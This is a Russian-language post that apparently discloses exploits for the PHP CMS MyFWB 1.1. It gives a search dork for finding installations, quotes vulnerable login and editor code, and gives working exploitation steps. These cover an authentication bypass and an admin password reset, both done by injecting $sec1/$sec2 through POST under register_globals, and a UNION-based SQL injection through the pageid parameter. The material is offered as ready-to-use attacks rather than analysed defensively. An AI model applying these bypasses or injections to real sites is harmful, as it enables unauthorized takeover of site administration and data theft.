Уязвимости MyFWB 1.1 download: http://myfwb.co.cc/downloads/myfwb_1.1_FS_edition.zip dork: "Powered by MyFWB 1.1" 1) [bypass] (требования: register_globals=on) /includes/core_admin_login.php уязвимый код: PHP: elseif($_GET["action"] == log_in_now) { $admin_user = secure("$_POST[admin_user]"); $admin_pass_1 = secure("$_POST[admin_pass]"); $admin_pass_2 = md5("$admin_pass_1"); $admin_pass = base64_encode("$admin_pass_2"); $query_login = mysql_query("select * from user where userid=1"); $data_user_info = mysql_fetch_array($query_login); $data_user = $data_user_info['username']; $data_password = $data_user_info['password']; if($data_user == $admin_user) { $sec1 = 1; }else { echo "<b>Sorry,...</b>"; echo $data_pass; } if($admin_pass == $data_password) { $sec2 = 1; }else { echo "<br><b>Sorry, ..."; } $security = $sec1 + $sec2; if($security == 2) //забавная проверка, передаем в переменной $sec1 или $sec2 значение 2, и вуаля, проверка пройдена { $_SESSION["admin_permission"] = "Yes"; эксплуатирование: /admincp/?action=log_in_now, ставим заведомо ложные логин и пасс и отправляем в POST-пакете $sec2=2 или $sec1=2, и идем в /admincp/ 2) [admin pass update] (требования: register_globals=on) /includes/core_admin_login.php уязвимый код: PHP: elseif($_GET["action"] == "forgot_password_now") { $admin_user = secure("$_POST[admin_user]"); $admin_secret = secure("$_POST[admin_secret]"); $query_info = mysql_query("select username, secret from user where userid=1"); $query_info_back = mysql_fetch_array($query_info); $user_name = $query_info_back['username']; $user_secret = $query_info_back['secret']; if($admin_user == $user_name) { $sec1 = 1; }else { echo "<b>Sorry, /--/"; } if($admin_secret == $user_secret) { $sec2 = 1; }else { echo "<br><b>Sorry, /--/"; } $security = $sec1 + $sec2; if($security == 2) { $new_pass = session_id(); $new_pass1 = md5("$new_pass"); $new_pass_final = base64_encode("$new_pass1"); $query_new_pass = mysql_query("update user set password = '$new_pass_final' where userid=1"); echo "/--/ $new_pass /--/"; //новым пассом будет сгенеренный мд5 хеш, но вы не пугайтесь, можно пройти в админку и поставить более короткий эксплуатирование: ставим заведомо ложные логин и секьюрити кей, и отправляем в POST-пакете $sec2=2 или $sec1=2, и идем в /admincp/ и логинимся с полученным из поля пассом 3) [SQL-injection] (требования: register_globals=on, доступ в админ панель) \includes\editor_edit.php уязвимый код: PHP: if($_GET["action"] == "edit" && $_GET["pageid"] && $_GET["securekey"] == $sid) { $page_to_edit = $_GET["pageid"]; $connect = mysql_connect("$db_host","$db_user","$db_pass") or die("can't connect to DB"); mysql_select_db("$db_name") or die("can't select the DB"); $query_getting_page = mysql_query("select pageid, pagetitle, page_content from site where pageid=$page_to_edit"); $page_edit = mysql_fetch_array($query_getting_page); эксплуатирование: Code: /admincp/?action=edit&pageid=-3+union+select+1,2,3--&securekey=[b]<значение переменной securekey из урла>[/b]